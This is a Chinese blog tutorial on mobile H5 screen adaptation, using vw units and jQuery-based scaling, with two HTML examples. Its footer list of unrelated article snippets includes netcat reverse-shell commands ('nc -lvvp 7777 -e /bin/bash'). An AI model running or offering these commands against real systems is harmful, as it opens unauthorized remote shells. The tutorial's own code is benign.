前言

曾经屏幕适配一直是个头疼的问题，各种坑，各种浏览器&设备兼容问题，好在的是，随着技术&标准的不断发展，这个问题得到了极大程度的解决，这篇文章主要对之前开发过程中的屏幕适配问题做个的简单总结，包括两个部分。

长屏适配

得益于CSS样式中vh&vw单位的支持普及，终于可以放心大胆的使用了，避免使用相对繁琐的scale、em、rem。

如图所示：

vh：将window.innerHeight分成100份，即1vh等于window.innerHeight的1%

vw：将window.innerWidth分成100份，即1vw等于window.innerWidth的1%

注意：长度包括滚动条

注意：长度包括滚动条

注意：长度包括滚动条

然后，我们就可以放心的使用vw当做长度单位来进行排版啦，因为在长屏的情况下，高度我们不在意（因为高度随页面内容变化），而元素会随着宽度的变化而变化。

以750x1334的设计稿为例，750/100=7.5px，那么1vw=7.5px，在排版的时候，根据这个单位换算即可。

简单示例如下：传送门 

<!doctype html>

<html lang="zh-CN">

<head>

    <meta charset="utf-8">

    <meta http-equiv="x-ua-compatible" content="ie=edge">

    <title></title>

    <meta name="description" content="">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link href="https://cdn.bootcss.com/normalize/7.0.0/normalize.min.css" rel="stylesheet">

    <style>

    html,

    body {

        height: 100%;

        background-color: lightgray;

    }

    .container {

        width: 100vw margin: 0 auto;

        overflow: auto;

    }

    .banner {

        background-color: black;

        height: 50vw;

        margin: 2vw;

        border-radius: 2vw;

    }

    .row {

        display: flex;

    }

    .item {

      flex: 1;

        height: 46vw;

        background-color: cornflowerblue;

        margin: 2vw;

        font-size: 4vw;

        display: flex;

        align-items: center;

        justify-content: center;

    }

    </style>

</head>

<body>

    <div class="container">

        <div class="banner">

        </div>

        <div class="row">

            <div class="item">

                列表项

            </div>

            <div class="item">

                列表项

            </div>

        </div>

        <div class="row">

            <div class="item">

                列表项

            </div>

            <div class="item">

                列表项

            </div>

        </div>

        <div class="row">

            <div class="item">

                列表项

            </div>

            <div class="item">

                列表项

            </div>

        </div>

        <div class="row">

            <div class="item">

                列表项

            </div>

            <div class="item">

                列表项

            </div>

        </div>

    </div>

</body>

</html>

那么有同学可能有疑问了，vw和%百分比有啥区别？在我看来，主要有2个。

1、百分比是定义基于包含块（父元素）宽度的百分比宽度，受到position属性的影响。而vw永远以浏览器可视区为基准。

2、百分比只能用于width和height，而vw可以用于任何以大小为单位的属性，例如font-size，这样就非常方便了。

单页适配

与长屏不同的是，类似单页H5小游戏，H5单页滚屏展示等，我们需要在屏幕内将页面完整的展现出来，这就没法使用vw了，因为我们需要根据设计图比例，保证单页完整动态计算和限制页面的展示大小展示，而vw无法做单一限制，这时js+百分比就派上用场了。

以微信中的单页活动展示为例，去掉64px的顶部导航，设计图定为750*1206。

有2种情况：

1、当屏幕宽度大于设计稿时

为了保证单页完整显示，需要以高度为基准，动态计算出宽度，居中显示

2、当屏幕宽度小于设计稿时

为了保证单页完整显示，需要以宽度为基准，动态计算出高度，居中显示

字体大小，也可根据缩放比例，动态计算px

示例代码如下：传送门

<!doctype html>

<html lang="zh-CN">

<head>

    <meta charset="utf-8">

    <meta http-equiv="x-ua-compatible" content="ie=edge">

    <title></title>

    <meta name="description" content="">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link href="https://cdn.bootcss.com/normalize/7.0.0/normalize.min.css" rel="stylesheet">

    <style>

    html,

    body {

        width: 100%;

        height: 100%;

        background-color: lightgray;

    }

    .wrapper {

        background: url('./img/timg.jpg') no-repeat center;

        background-size: cover;

        height: 100%;

        display: flex;

        align-items: center;

        justify-content: center;

        margin: 0 auto;

    }

    .container {

        position: relative;

        height: 100%;

    }

    .banner {

        height: 30%;

        background-color: bisque;

        flex: 1;

        display: flex;

        align-items: center;

        justify-content: center;

        margin: 2%;

    }

    .row {

        display: flex;

        justify-content: center;

        align-items: center;

        margin: 2%;

        height: 32.5%;

    }

    .item {

        flex: 1;

        display: flex;

        align-items: center;

        justify-content: center;

        background-color: pink;

        height: 100%;

    }

    </style>

</head>

<body>

    <div class="wrapper">

        <div class="container">

            <div class="banner">

                banner

            </div>

            <div class="row">

                <div class="item" style="margin-right: 1%">

                    列表项

                </div>

                <div class="item" style="margin-left: 1%">

                    列表项

                </div>

            </div>

            <div class="row">

                <div class="item">

                    列表项

                </div>

            </div>

        </div>

    </div>

    <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>

    <script>

    var fontSize = $('html').css('font-size').slice(0, -2);

    function measureArea() {

        var height = $(window).height();

        var width = $(window).width();

        var temp_width = height * 10 / 16;

        if (temp_width < width) {

            $('.container').css('width', temp_width + 'px');

            $('.wrapper').css('max-width', temp_width + 'px');

        } else {

            $('.container').css('width', width + 'px');

            $('.container').css('height', width * 16 / 10 + 'px');

            $('html').css('font-size', fontSize * (width / temp_width) + 'px');

        }

    }

    window.onresize = measureArea;

    measureArea();

    </script>

</body>

</html>

参考

https://developer.mozilla.org/en-US/docs/Web/CSS/length#vw

https://github.com/amfe/lib-flexible

https://www.w3cplus.com/css/vw-for-layout.html

那些H5用到的技术（6）——屏幕适配的更多相关文章

  1. 那些H5用到的技术（3）——屏幕场景滑动

    前言Swiper.js一些需要我们手动设置的参数排版元素需要设置position:absolute绝对元素定位swiperAnimate方法的使用动画播放完成之后的监听上滑提示屏幕适配的问题Anima ...

  2. 那些H5用到的技术（1）——素材加载

    编码环境前言什么时候用到素材加载?loading提示,让用户等待图片的加载音频的加载利用神器PreloadJS总结 编码环境 Sublime Text 3 插件包括: Autoprefixer 自动补 ...

  3. Android 开发中的屏幕适配技术详解

    本文主要介绍Android开发中比较头疼繁琐的一个问题-屏幕适配问题.主要从适配原因.基本核心概念.适配方法等方面介详细 介绍从而是的深入或者进一步对Android屏幕适配技术的掌握和理解. 真题园网 ...

  4. H5的本地存储技术及其与Cookie的比较

    第一部分: H5的本地存储技术 HTML5 提供了两种在客户端存储数据的新方法.先看下面的例子: 例1:var mySelection = {name:"car", amount: ...

  5. h5移动端屏幕适配

    1.rem <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF ...

  6. 关于h5屏幕适配

    1)使用rem进行等比缩放 rem作用于非根元素时,相对于根元素字体大小:rem作用于根元素字体大小时,相对于其出初始字体大小 比如根元素(html)设置font-size=12px; 非根元素设置w ...

  7. iOS屏幕适配

    ## iOS屏幕适配 ### iOS屏幕适配发展史 1> iPhone4以前(没有iPad) * 不需要屏幕适配 2> iPad.iPhone5等设备出现 * 需要做横竖屏适配 * aut ...

  8. 【移动适配】移动Web怎么做屏幕适配（三）

    复杂纷扰的世界背后,总会有万变不离其宗的简单规则 啃先生 Mar.8th.2016 壹 | Fisrt 前面写了两篇移动适配相关的文章: <移动Web怎么做屏幕适配(一)>重点介绍了怎样利 ...

  9. 【收藏】Android屏幕适配全攻略(最权威的Google官方适配指导)

    来源:http://blog.csdn.net/zhaokaiqiang1992 更多:Android AutoLayout全新的适配方式, 堪称适配终结者 Android的屏幕适配一直以来都在折磨着 ...

随机推荐

  1. [转]Android下怎么使用LDD查看依赖库

    Android下没有ldd可以使用,在进行ndk开发的时候,检查库的依赖项特别麻烦.有两个解决方案: 1.将linux的的ldd移植过去.因为android也是基于linux的,所以将ldd移植过去是 ...

  2. Linux的系统引导

    启动引导: 1.主机加电自检,加载BIOS信息 2.读取MBR的引导文件[grub lilo] 3.引导linux内核 4.运行第一个进程init pid=1 5.进入相应的运行级别[0-6] 6.运 ...

  3. iphone在微信中audio 音频无法自动播放

    问题: Html5的audio 音频在电脑端和android端都可以实现自动播放,在iphone上无法实现,下面针对的是微信浏览器里面的解决方法 html代码: <div id="au ...

  4. Sophus VS2010编译不支持？C++11语法的缘故。那有没有不带C++11特性的Sophus版本呢？

    Eigen:3.1 3.0 Ceres:No Sophus: Sophus支不支持Windows编译?官网写的是通过了Windows的编译的 linux, os x:  windows:  code ...

  5. 51nod1459迷宫问题—（迪杰斯特拉）

    1459 迷宫游戏  基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题  收藏  关注 你来到一个迷宫前.该迷宫由若干个房间组成,每个房间都有一个得分,第一次进入这个房间, ...

  6. Zend_Controller_Front 研究

    如果你裸写php,一个项目就会出现很多的页面控制器(Page Controller),如果项目很大,重复代码就很多,越来越变得很难维护.有了问题,自然就有解决方案!于是前端设计模式  闪亮登场! 前端 ...

  7. ORACLE EBS中查看系统已经打过的补丁

    SELECT COUNT (BUG_NUMBER)  FROM AD_BUGS WHERE BUG_NUMBER LIKE '%7303031%'  --对应 patch号 ; --TABLESAD_ ...

  8. 获取web项目中的webroot目录路径

    备忘,一段代码: @Override public void init(FilterConfig arg0) throws ServletException { // TODO Auto-genera ...

  9. 使用WebService调用第三方服务

    场景 某个系统服务由第三方提供,我方要使用到这个这个服务,就可以使用WebService的方式. 什么是WebService 关于什么WebService,官方是这么解释的: Web service是 ...

  10. 反弹Shell小结

    1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc  server-ip 7777 1.2.反向反弹shell 攻击机 nc ...